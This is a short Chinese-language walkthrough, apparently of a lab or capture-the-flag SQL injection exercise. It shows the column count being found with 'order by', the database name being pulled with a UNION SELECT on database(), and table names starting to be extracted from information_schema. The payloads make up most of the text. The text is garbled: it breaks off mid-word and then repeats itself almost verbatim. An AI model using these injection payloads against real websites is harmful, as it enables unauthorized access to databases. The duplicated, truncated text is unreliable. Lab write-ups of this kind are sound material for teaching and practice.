进入环境:
只有输入1和2有回显
接着,判断列数:
依次输入
id=1 order by 1
id=1 order by 2
id=1 order by 3
到3时,没有回显,报错,说明这时表格只有两列
下一步
取得数据库名称:
1 and 0 union select 1,database()
s数据库名称为sqli
下一步
爆表名
-1 union select 1,group_concat(table_name) from informat
进入环境:
只有输入1和2有回显
接着,判断列数:
依次输入
id=1 order by 1
id=1 order by 2
id=1 order by 3
到3时,没有回显,报错,说明这时表格只有两列
下一步
1 and 0 union select 1,database()
s数据库名称为sqli
下一步
爆表名
-1 union select 1,group_concat(table_name) from informat